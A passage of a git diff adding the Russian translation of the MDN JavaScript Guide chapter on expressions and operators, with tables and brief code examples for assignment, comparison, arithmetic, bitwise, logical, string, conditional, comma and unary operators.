+<p>Мы видим, что <code>dennis</code> получил свойство <code>hobby</code> из конструктора <code>Hobbyist</code>. Однако, если вы добавите любое свойство в прототип конструктора <code>Hobbyist</code>:</p>
+
+<pre class="brush: js">Hobbyist.prototype.equipment = ["mask", "fins", "regulator", "bcd"]
+</pre>
+
+<p>Объект <code>dennis</code> этого свойства не унаследует.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
diff --git a/files/ru/web/javascript/guide/expressions_and_operators/index.html b/files/ru/web/javascript/guide/expressions_and_operators/index.html
new file mode 100644
index 0000000000..dea3cef0d6
--- /dev/null
+++ b/files/ru/web/javascript/guide/expressions_and_operators/index.html
@@ -0,0 +1,937 @@
+---
+title: Выражения и операторы
+slug: Web/JavaScript/Guide/Expressions_and_Operators
+tags:
+  - Beginner
+  - Expressions
+  - Guide
+  - Operators
+  - Начинающий
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</p>
+
+<p class="summary">Эта глава описывает выражения и операторы языка JavaScript, такие как операторы присваивания, сравнения, арифметические, битовые, логические, строчные, и различные специальные операторы.</p>
+
+<ul>
+</ul>
+
+<p>Полный и детальный список операторов и выражений также доступен в этом <a href="/ru/docs/Web/JavaScript/Reference/Operators">руководстве</a>.</p>
+
+<h2 id="Операторы">Операторы</h2>
+
+<p>В JavaScript есть следующие типы операторов. Данный подраздел описывает каждый тип и содержит информацию об их приоритетах друг над другом.</p>
+
+<ul>
+ <li>{{ web.link("#Операторы_присваивания", "Операторы присваивания") }}</li>
+ <li>{{ web.link("#Операторы_сравнения", "Операторы сравнения") }}</li>
+ <li>{{ web.link("#Арифметические_операторы", "Арифметические операторы") }}</li>
+ <li>{{ web.link("#Бинарные_операторы", "Бинарные операторы") }}</li>
+ <li>{{ web.link("#Логические_операторы", "Логические операторы") }}</li>
+ <li>{{ web.link("#Строковые_операторы", "Строковые операторы") }}</li>
+ <li>{{ web.link("#Условный_(тернарный)_оператор", "Условный (тернарный) оператор")}}</li>
+ <li>{{ web.link("#Оператор_запятая", "Оператор запятая")}}</li>
+ <li>{{ web.link("#Унарные_операторы", "Унарные операторы")}}</li>
+ <li>{{ web.link("#Операторы_отношения", "Операторы отношения")}}</li>
+ <li>{{ web.link("#Приоритет_операторов", "Приоритет операторов")}}</li>
+</ul>
+
+<p>JavaScript поддерживает бинарные и унарные операторы, а также ещё один специальный тернарный оператор - условный оператор. Бинарная операция использует два операнда, один перед оператором и другой за ним:</p>
+
+<pre class="syntaxbox"><em>operand1</em> <em>operator</em> <em>operand2</em>
+</pre>
+
+<p>Например: <code>3+4</code> или <code>x*y</code>.</p>
+
+<p>В свою очередь унарная операция использует один операнд, перед или после оператора:</p>
+
+<pre class="syntaxbox"><em>operator</em> <em>operand</em>
+</pre>
+
+<p>или</p>
+
+<pre class="syntaxbox"><em>operand</em> <em>operator</em>
+</pre>
+
+<p>Например: <code>x++</code> или <code>++x</code>.</p>
+
+<h3 id="Операторы_присваивания">Операторы присваивания</h3>
+
+<p>В результате операции присваивания операнду слева от <a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">оператора присваивания</a> (знак "=") устанавливается значение , которое берётся из правого операнда. Основным оператором присваивания является  =, он присваивает значение правого операнда операнду, находящемуся слева. Таким образом, выражение x = y означает, что x присваивается значение y.</p>
+
+<p>Существуют также составные операторы присваивания, которые используются для сокращенного представления операций, описанных в следующей таблице:</p>
+
+<table class="standard-table">
+ <caption>Список операторов присваивания</caption>
+ <tbody>
+  <tr>
+   <th>Имя</th>
+   <th>Сокращенный оператор</th>
+   <th>Смысл</th>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Assignment">Присваивание</a></td>
+   <td><code>x = y</code></td>
+   <td><code>x = y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Addition_assignment">Присваивание со сложением</a></td>
+   <td><code>x += y</code></td>
+   <td><code>x = x + y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Subtraction_assignment">Присваивание с вычитанием</a></td>
+   <td><code>x -= y</code></td>
+   <td><code>x = x - y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Multiplication_assignment">Присваивание с умножением</a></td>
+   <td><code>x *= y</code></td>
+   <td><code>x = x * y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Division_assignment">Присваивание с делением</a></td>
+   <td><code>x /= y</code></td>
+   <td><code>x = x / y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Remainder_assignment">Присваивание по модулю</a></td>
+   <td><code>x %= y</code></td>
+   <td><code>x = x % y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Left_shift_assignment">Присваивание с левым сдвигом</a></td>
+   <td><code>x &lt;&lt;= y</code></td>
+   <td><code>x = x &lt;&lt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Right_shift_assignment">Присваивание с правым сдвигом</a></td>
+   <td><code>x &gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Unsigned_right_shift_assignment">Присваивание с беззнаковым сдвигом вправо</a></td>
+   <td><code>x &gt;&gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Bitwise_AND_assignment">Присваивание с побитовым AND</a></td>
+   <td><code>x &amp;= y</code></td>
+   <td><code>x = x &amp; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Bitwise_XOR_assignment">Присваивание с побитовым XOR</a></td>
+   <td><code>x ^= y</code></td>
+   <td><code>x = x ^ y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#Bitwise_OR_assignment">Присваивание с побитовым OR</a></td>
+   <td><code>x |= y</code></td>
+   <td><code>x = x | y</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Деструктуризация">Деструктуризация</h4>
+
+<p>Для более сложного присваивания в JavaScript есть синтаксис <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктуризации</a> - это выражение, которое позволяет извлекать данные из массивов или объектов, используя синтаксис, который зеркалирует конструкторы массивов и литералы объектов.</p>
+
+<pre class="brush: js">var foo = ["one", "two", "three"];
+
+// без деструктуризации
+var one   = foo[0];
+var two   = foo[1];
+var three = foo[2];
+
+// с деструктуризацией
+var [one, two, three] = foo;</pre>
+
+<h3 id="Операторы_сравнения">Операторы сравнения</h3>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Оператор сравнения</a> сравнивает свои операнды и возвращает логическое значение, базируясь на истинности сравнения. Операнды могут быть числами, строками, логическими величинами или объектами. Строки сравниваются на основании стандартного лексикографического порядка, используя Unicode-значения. В большинстве случаев, если операнды имеют разный тип, то JavaScript пробует преобразовать их в тип, подходящий для сравнения. Такое поведение обычно происходит при сравнении числовых операндов. Единственным исключением из данного правила является сравнение с использованием операторов <code>===</code> и <code>!==</code>, которые производят строгое сравнение на равенство или неравенство. Эти операторы не пытаются преобразовать операнды перед их сравнением. Следующая таблица описывает операторы сравнения в контексте следующего примера кода:</p>
+
+<pre class="brush: js">var var1 = 3, var2 = 4;
+</pre>
+
+<table class="standard-table">
+ <caption>Операторы сравнения</caption>
+ <thead>
+  <tr>
+   <th scope="col">Оператор</th>
+   <th scope="col">Описание</th>
+   <th scope="col">Примеры, возвращающие true</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Equality">Равно</a> (<code>==</code>)</td>
+   <td>Возвращает true, если операнды равны.</td>
+   <td><code>3 == var1</code><br>
+    <code>"3" == var1</code><br>
+    <code>3 == '3'</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Inequality">Не равно</a> (<code>!=</code>)</td>
+   <td>Возвращает true, если операнды не равны.</td>
+   <td><code>var1 != 4<br>
+    var2 != "3"</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Identity">Строго равно</a> (<code>===</code>)</td>
+   <td>Возвращает true, если операнды равны и имеют одинаковый тип. См. также {{jsxref("Object.is")}} и <a href="/ru/docs/Web/JavaScript/Equality_comparisons_and_sameness" title="/ru/docs/Web/JavaScript/Guide/Sameness">sameness in JS</a>.</td>
+   <td><code>3 === var1</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Nonidentity">Строго не равно</a>(<code>!==</code>)</td>
+   <td>Возвращает true, если операнды не равны и/или имеют разный тип.</td>
+   <td><code>var1 !== "3"<br>
+    3 !== '3'</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Greater_than_operator">Больше</a> (<code>&gt;</code>)</td>
+   <td>Возвращает true, если операнд слева больше операнда справа.</td>
+   <td><code>var2 &gt; var1<br>
+    "12" &gt; 2</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Greater_than_or_equal_operator">Больше или равно</a> (<code>&gt;=</code>)</td>
+   <td>Возвращает true, если операнд слева больше или равен операнду справа.</td>
+   <td><code>var2 &gt;= var1<br>
+    var1 &gt;= 3</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Less_than_operator">Меньше</a> (<code>&lt;</code>)</td>
+   <td>Возвращает true, если операнд слева меньше операнда справа.</td>
+   <td><code>var1 &lt; var2<br>
+    "2" &lt; 12</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Операторы_сравнения#Less_than_or_equal_operator">Меньше или равно</a> (<code>&lt;=</code>)</td>
+   <td>Возвращает true, если операнд слева меньше или равен операнду справа.</td>
+   <td><code>var1 &lt;= var2<br>
+    var2 &lt;= 5</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Замечание: </strong>(<strong>=&gt;</strong>) не оператор, а нотация <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Стрелочных функций</a>.</p>
+</div>
+
+<h3 id="Арифметические_операторы">Арифметические операторы</h3>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators">Арифметические операторы</a> используют в качестве своих операндов числа (также литералы или переменные) и в качестве результата возвращают одно числовое значение. Стандартными арифметическими операторами являются сложение (+), вычитание (-), умножение (*), и деление (/). При работе с числами с плавающей точкой эти операторы работают аналогично их работе в большинстве других языках программирования (обратите внимание, что деление на ноль возвращает бесконечность {{jsxref("Infinity")}}). Например:</p>
+
+<pre class="brush: js">console.log(1 / 2); /* возвращает 0.5 */
+console.log(1 / 2 == 1.0 / 2.0); /* возвращает true */
+</pre>
+
+<p>Кроме того, JavaScript позволяет использовать следующие арифметические операторы, представленные в таблице:</p>
+
+<table class="fullwidth-table">
+ <caption>Арифметические операторы</caption>
+ <thead>
+  <tr>
+   <th scope="col">Оператор</th>
+   <th scope="col">Описание</th>
+   <th scope="col">Пример</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder">Остаток от деления</a> (<code>%</code>)</td>
+   <td>Бинарный оператор. Возвращает целочисленный остаток от деления двух операндов.</td>
+   <td>12 % 5 вернёт 2.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">Инкремент</a> (<code>++</code>)</td>
+   <td>Унарный оператор. Добавляет единицу к своему операнду. Если используется в качестве префикса (<code>++x</code>), то возвращает значение операнда с добавленной к нему единицей; а в случае применения в качестве окончания (<code>x++</code>) возвращает значение операнда перед добавлением к нему единицы.</td>
+   <td><code>Если x</code> равно 3, тогда <code>++x</code> установит значение <code>x</code> равным 4 и вернёт 4, напротив <code>x++</code> вернёт 3 и потом установит значение <code>x</code> равным 4.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement">Декремент</a> (<code>--</code>)</td>
+   <td>Унарный оператор. Вычитает единицу из значения своего операнда. Логика данного оператора аналогична оператору инкремента.</td>
+   <td>Если <code>x</code> равно 3, тогда <code>--x</code> установит значение <code>x</code> равным 2 и вернёт 2, напротив <code>x--</code> вернёт 3 и потом установит значение <code>x</code> равным 2.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation">Унарный минус</a><code>-</code></td>
+   <td>Унарный оператор. Возвращает отрицательное значение своего операнда.</td>
+   <td>Если <code>x</code> равно 3, тогда <code>-x</code> вернёт -3.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus">Унарный плюс</a> (<code>+</code>)</td>
+   <td>Унарный оператор. Пытается конвертировать операнд в число, если он ещё не оно.</td>
+   <td><code>+"3"</code> вернёт <code>3</code>.<br>
+    <code>+true</code> вернёт <code>1.</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation">Возведение в степень</a> (<code>**</code>) {{experimental_inline}}</td>
+   <td>Возводит <code>основание</code> в показатель <code>степени</code>, как, <code>основание<sup>степень</sup></code></td>
+   <td><code>2 ** 3</code> вернёт <code>8</code>.<br>
+    <code>10 ** -1</code> вернёт <code>0.1</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Битовые_(поразрядные)_операторы">Битовые (поразрядные) операторы</h3>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Битовые операторы</a> обрабатывают свои операнды как последовательности из 32 бит (нулей и единиц), а не как десятичные, шестнадцатеричные или восьмеричные числа. Например, десятичное число 9 имеет двоичное представление 1001. Битовые операторы выполняют операции над таким двоичным представлением, но результат возвращают как обычное числовое значение JavaScript.</p>
+
+<p>Следующая таблица обобщает битовые операторы JavaScript.</p>
+
+<table class="standard-table">
+ <caption>Битовые операторы</caption>
+ <thead>
+  <tr>
+   <th scope="col">Оператор</th>
+   <th scope="col">Использование</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND">Побитовое И</a></td>
+   <td><code>a &amp; b</code></td>
+   <td>Возвращает единицу в каждой битовой позиции, для которой соответствующие биты обеих операндов являются единицами.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR">Побитовое ИЛИ </a></td>
+   <td><code>a | b</code></td>
+   <td>Возвращает единицу в каждой битовой позиции, для которой один из соответствующих битов или оба бита операндов являются единицами.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">Исключающее ИЛИ</a></td>
+   <td><code>a ^ b</code></td>
+   <td>Возвращает единицу в каждой битовой позиции, для которой только один из соответствующих битов операндов является единицей.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT">Побитовое НЕ</a></td>
+   <td><code>~ a</code></td>
+   <td>Заменяет биты операнда на противоположные.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Left_shift">Сдвиг влево</a></td>
+   <td><code>a &lt;&lt; b</code></td>
+   <td>Сдвигает <code>a</code> в двоичном представлении на <code>b</code> бит влево, добавляя справа нули.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Right_shift">Сдвиг вправо с переносом знака</a></td>
+   <td><code>a &gt;&gt; b</code></td>
+   <td>Сдвигает <code>a</code> в двоичном представлении на <code>b</code> бит вправо, отбрасывая сдвигаемые биты.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Unsigned_right_shift">Сдвиг вправо с заполнением нулями</a></td>
+   <td><code>a &gt;&gt;&gt; b</code></td>
+   <td>Сдвигает <code>a</code> в двоичном представлении на <code>b</code> бит вправо, отбрасывая сдвигаемые биты и добавляя слева нули.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Bitwise_Logical_Operators" name="Bitwise_Logical_Operators">Битовые логические операторы</h4>
+
+<p>Основной смысл работы битовых логических операторов состоит в следующем:</p>
+
+<ul>
+ <li>Операнды преобразуются в 32-битные целые числа и представляются в виде последовательности бит (нулей и единиц). Числа, имеющие более 32 битов будут сокращены. Например, следующее число имеет больше 32 битов и сконвертируется в 32-х битное:
+  <pre class="brush: html">До    : 11100110111110100000000000000110000000000001
+После :             10100000000000000110000000000001</pre>
+ </li>
+ <li>Каждый бит первого операнда связывается с соответствующим битом второго операнда: первый бит с первым битом, второй бит - со вторым, и так далее.</li>
+ <li>К каждой паре бит применяется заданный оператор, и побитово формируется итоговый результат.</li>
+</ul>
+
+<p>Например, двоичным представлением числа 9 является 1001, а двоичным представлением пятнадцати - 1111. Результаты применения к этим числам битовых логических операторов выглядят следующим образом:</p>
+
+<table class="standard-table">
+ <caption>Примеры работы битовых операторов</caption>
+ <thead>
+  <tr>
+   <th scope="col">Выражение</th>
+   <th scope="col">Результат</th>
+   <th scope="col">Двоичное описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>15 &amp; 9</code></td>
+   <td><code>9</code></td>
+   <td><code>1111 &amp; 1001 = 1001</code></td>
+  </tr>
+  <tr>
+   <td><code>15 | 9</code></td>
+   <td><code>15</code></td>
+   <td><code>1111 | 1001 = 1111</code></td>
+  </tr>
+  <tr>
+   <td><code>15 ^ 9</code></td>
+   <td><code>6</code></td>
+   <td><code>1111 ^ 1001 = 0110</code></td>
+  </tr>
+  <tr>
+   <td><code>~15</code></td>
+   <td><code>-16</code></td>
+   <td><code>~</code><code>00000000...</code><code>00001111 = </code><code>1111</code><code>1111</code><code>...</code><code>11110000</code></td>
+  </tr>
+  <tr>
+   <td><code>~9</code></td>
+   <td><code>-10</code></td>
+   <td><code>~</code><code>00000000</code><code>...</code><code>0000</code><code>1001 = </code><code>1111</code><code>1111</code><code>...</code><code>1111</code><code>0110</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Обратите внимание, что все 32 бита преобразуются с использованием битового оператора НЕ, и что величины с наиболее значимым (самым левым) битом равным 1 представляют собой отрицательные числа (в представлении дополнения до двух).</p>
+
+<h4 id="Bitwise_Shift_Operators" name="Bitwise_Shift_Operators">Битовые операторы сдвига</h4>
+
+<p>Битовые операторы сдвига используют два операнда: первый представляет величину, подлежащую сдвигу, а второй операнд указывает число битовых позиций на которое должен быть сдвинут первый операнд. Направление операции сдвига определяется используемым оператором.</p>
+
+<p>Операторы сдвига преобразуют свои операнды в 32-битные целые числа и возвращают результат того же типа, каким является левый операнд.</p>
+
+<p>Операторы сдвига перечислены в следующей таблице.</p>
+
+<table class="fullwidth-table">
+ <caption>Битовые операторы сдвига</caption>
+ <thead>
+  <tr>
+   <th scope="col">Оператор</th>
+   <th scope="col">Описание</th>
+   <th scope="col">Пример</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#&lt;&lt;_(Left_shift)">Сдвиг влево</a><br>
+    (<code>&lt;&lt;</code>)</td>
+   <td>Данный оператор сдвигает первый операнд на указанное количество бит влево. Излишние биты, сдвинутые влево, отбрасываются. Справа число дополняется нулевыми битами.</td>
+   <td><code>9&lt;&lt;2</code> равно 36, так как 1001 после сдвига на 2 бита влево превращается в 100100, что соответствует числу 36.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#>>_(Sign-propagating_right_shift)">Сдвиг вправо с переносом знака</a> (<code>&gt;&gt;</code>)</td>
+   <td>Данный оператор сдвигает первый операнд на указанное количество бит вправо. Излишние биты, сдвинутые вправо, отбрасываются. Слева число дополняется копиями крайнего слева бита.</td>
+   <td><code>9&gt;&gt;2</code> равно 2, так как 1001 после сдвига на 2 бита вправо превращается в 10, что соответствует числу 2. Подобным же образом <code>-9&gt;&gt;2</code> равно -3, так как знак сохраняется.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#>>>_(Zero-fill_right_shift)">Сдвиг вправо с заполнением нулями</a> (<code>&gt;&gt;&gt;</code>)</td>
+   <td>Данный оператор сдвигает первый операнд на указанное количество бит вправо. Излишние биты, сдвинутые вправо, отбрасываются. Слева число дополняется нулевыми битами.</td>
+   <td><code>19&gt;&gt;&gt;2</code> равно 4, так как 10011 после сдвига на 2 бита вправо превращается в 100, что соответствует числу 4. Для неотрицательных чисел сдвиг вправо с заполнением нулями и сдвиг вправо с переносом знака дают одинаковый результат.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Логические_операторы">Логические операторы</h3>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Logical_Operators">Логические операторы</a> обычно используются с булевыми (логическими) значениями; при этом возвращаемое ими значение также является булевым. Однако операторы &amp;&amp; и || фактически возвращают значение одного из операндов, поэтому, если эти операторы используются с небулевыми величинами, то возвращаемая ими величина также может быть не булевой. Логические операторы описаны в следующей таблице.</p>
+
+<table class="fullwidth-table">
+ <caption>Логические операторы</caption>
+ <thead>
+  <tr>
+   <th scope="col">Оператор</th>
+   <th scope="col">Использование</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND">Логическое И</a><code> </code>(<code>&amp;&amp;</code>)</td>
+   <td><code>expr1 &amp;&amp; expr2</code></td>
+   <td>(Логическое И) Возвращает операнд <code>expr1</code>, если он может быть преобразован в <code>false</code>; в противном случае возвращает операнд <code>expr2</code>. Таким образом, при использовании булевых величин в качестве операндов, оператор <code>&amp;&amp;</code> возвращает <code>true</code>, если оба операнда <code>true</code>; в противном случае возвращает <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR">Логическое ИЛИ </a>(<code>||</code>)</td>
+   <td><code>expr1 || expr2</code></td>
+   <td>(Логическое ИЛИ) Возвращает операнд <code>expr1</code>, если он может быть преобразован в <code>true</code>; в противном случае возвращает операнд <code>expr2</code>. Таким образом, при использовании булевых величин в качестве операндов, оператор <code>||</code> возвращает <code>true</code>, если один из операндов <code>true</code>; если же оба <code>false</code>, то возвращает <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><a href="/ru/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT">Логическое НЕ </a>(<code>!</code>)</td>
+   <td><code>!expr</code></td>
+   <td>(Логическое НЕ) Возвращает <code>false</code>, если операнд может быть преобразован в <code>true</code>; в противном случае возвращает <code>true</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Примерами выражений, которые могут быть преобразованы в false являются: null, 0, NaN, пустая строка ("") или undefined.</p>
+
+<p>Следующий код демонстрирует примеры использования оператора &amp;&amp; (логическое И).</p>
+
+<pre class="brush: js">var a1 =  true &amp;&amp; true;     // t &amp;&amp; t возвращает true
+var a2 =  true &amp;&amp; false;    // t &amp;&amp; f возвращает false
+var a3 = false &amp;&amp; true;     // f &amp;&amp; t возвращает false
+var a4 = false &amp;&amp; (3 == 4); // f &amp;&amp; f возвращает false
+var a5 = "Cat" &amp;&amp; "Dog";    // t &amp;&amp; t возвращает Dog
+var a6 = false &amp;&amp; "Cat";    // f &amp;&amp; t возвращает false
+var a7 = "Cat" &amp;&amp; false;    // t &amp;&amp; f возвращает false
+</pre>
+
+<p>Следующий код демонстрирует примеры использования оператора || (логическое ИЛИ).</p>
+
+<pre class="brush: js">var o1 =  true || true;     // t || t возвращает true
+var o2 = false || true;     // f || t возвращает true
+var o3 =  true || false;    // t || f возвращает true
+var o4 = false || (3 == 4); // f || f возвращает false
+var o5 = "Cat" || "Dog";    // t || t возвращает Cat
+var o6 = false || "Cat";    // f || t возвращает Cat
+var o7 = "Cat" || false;    // t || f возвращает Cat
+</pre>
+
+<p>Следующий код демонстрирует примеры использования оператора ! (логическое НЕ).</p>
+
+<pre class="brush: js">var n1 = !true;  // !t возвращает false
+var n2 = !false; // !f возвращает true
+var n3 = !"Cat"; // !t возвращает false
+</pre>
+
+<h4 id="Short-Circuit_Evaluation" name="Short-Circuit_Evaluation">Сокращённая оценка</h4>
+
+<p>Так как логические выражения вычисляются слева направо, они проверяются на возможность выполнения сокращённой оценки с использованием следующих правил:</p>
+
+<ul>
+ <li><code>false</code> &amp;&amp; anything<em> - </em>сокращение с результатом false.</li>
+ <li><code>true</code> || <em>anything - </em>сокращение с результатом true.</li>
+</ul>
+
+<p>Правила логики гарантируют, что данные вычисления всегда корректны. Обратите внимание, что часть "<em>anything"</em> представленных выше выражений не вычисляется, таким образом удается избежать любых побочных эффектов вычисления данной части.</p>
+
+<h3 id="Строковые_операторы">Строковые операторы</h3>
+
+<p>В дополнение к операторам сравнения, которые могут использоваться со строковыми значениями, оператор (+) позволяет объединить две строки, возвращая при этом третью строку, которая представляет собой объединение двух строк-операндов:</p>
+
+<pre class="brush: js">console.log("my " + "string");  // в консоли выведется строка  "my string".</pre>
+
+<p>Сокращенный оператор присваивания += также может быть использован для объединения (конкатенации) строк:</p>
+
+<pre class="brush: js">var  mystring = "alpha";  mystring += "bet"; // получается значение "alphabet" и присваивается mystring.
+</pre>
+
+<h3 id="Условный_(тернарный)_оператор" name="Условный_(тернарный)_оператор">Условный (тернарный) оператор</h3>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Условный оператор</a> является единственным оператором JavaScript, который использует три операнда. Оператор принимает одно из двух значений в зависимости от заданного условия. Синтаксис оператора:</p>
+
+<pre class="syntaxbox"><em>condition</em> ? <em>val1</em> : <em>val2</em>
+</pre>
+
+<div class="warning">
+<p><em>   val1 и val2 обязательно должны что-то возвращать, поэтому в этой конструкции нельзя использовать continue или break</em></p>
+</div>
+
+<p>Если <code>condition (условие)</code> - истина, то оператор принимает значение <code>val1</code>. В противном случае оператор принимает значение <code>val2</code>. Вы можете использовать условный оператор во всех случаях, где может быть использован стандартный оператор.</p>
+
+<pre class="brush: js">var status = (age &gt;= 18) ? "adult" : "minor";
+</pre>
+
+<p>Данное выражение присваивает значение "adult" переменной <code>status</code>, если <code>age</code> имеет значение 18 или более. В противном случае переменной <code>status</code> присваивается значение "minor".</p>
+
+<h3 id="Оператор_запятая" name="Оператор_запятая">Оператор запятая</h3>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Comma_Operator">Оператор запятая</a> (<code>,</code>) просто вычисляет оба операнда и возвращает значение последнего операнда. Данный оператор в основном используется внутри цикла <code>for</code>, что позволяет при каждом прохождении цикла одновременно обновлять значения нескольких переменных.</p>
+
+<p>Например, если <code>a</code> является двумерным массивом, каждая строка которого содержит 10 элементов, то следующий код с использованием оператора запятая позволяет выполнять одновременное приращение двух переменных. Данный код выводит на экран значения диагональных элементов массива:</p>
+
+<pre class="brush: js">for (var i = 0, j = 9; i &lt;= 9; i++, j--)
+  document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);
+</pre>
+
+<h3 id="Унарные_операторы">Унарные операторы</h3>
+
+<p>Унарная операция - операция только с одним операндом.</p>
+
+<h4 id="delete" name="delete"><code>delete</code></h4>
+
+<p>Оператор <a href="/ru/docs/Web/JavaScript/Reference/Operators/delete">delete</a> выполняет удаление объекта, свойства объекта, или элемента массива с заданным индексом. Синтаксис оператора:</p>
+
+<pre class="brush: js">delete objectName;
+delete objectName.property;
+delete objectName[index];
+delete property; // допустимо только внутри with
+</pre>
+
+<p>где <code>objectName</code> представляет собой имя объекта, <code>property</code> - свойство объекта, а <code>index</code> - целое число, указывающее на положение (номер позиции)  элемента в массиве.</p>
+
+<p>Четвертый вариант использования позволяет удалить свойство объекта, но допускается только внутри <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</p>
+
+<p>Вы можете использовать оператор <code>delete</code> для удаления переменных, объявленных неявно, но вы не можете с его помощью удалять переменные, объявленные с помощью <code>var</code>.</p>
+
